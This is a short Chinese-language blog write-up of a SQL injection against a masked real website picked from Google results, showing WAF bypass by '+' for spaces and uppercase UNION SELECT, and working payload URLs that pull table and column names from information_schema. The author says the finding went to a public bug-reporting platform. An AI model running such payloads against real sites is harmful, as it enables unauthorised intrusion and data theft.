一次简单的SQL注入绕WAF
- 2021 年 10 月 18 日
- 筆記
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个
1、目标网站
2、发现有WAF防护
3、判断存在注入
4、猜测了一下闭合为”,果真是”闭合,而且没有触发WAF,感觉还挺幸运的
5、尝试使用 order by判断当前数据库的字段数为20,本来以为WAF会拦截,发现也没有拦截
6、判断显示位,这次直接被拦截了
7、绕WAF,通过使用(+)代替空格的方法绕过WAF的拦截,并大写UNION SELECT,判断出显错点为5和10
8、查询数据库用户名和数据库名
9、查询当前数据库表名,列名
查询表名 //www.****.com/product.php?sid=80&id=-218%27+UNION+SELECT+1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
+from+information_schema.tables+where+table_schema=database()+%23
查询列名 //www.****.com/product.php?sid=80&id=-218%27+UNION+SELECT+1,2,3,4,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
+from+information_schema.columns+where+table_name=%27s1_ad1%27+limit+1,1%20+%23
点到为止嘛没有继续下去了,然后直接交公益src了,其实显错点10也可以同显错点5一样的操作查询处库名表名列名到最后的字段内容,还可以用group_concat()这个函数查询出多个数据库名,不过试了一下WAF拦截了,可以尝试替换等价函数或者其他方法啊应该也是可以绕过WAF的,不行的话,也可以尝试用burp抓包跑出表名,列名,字段名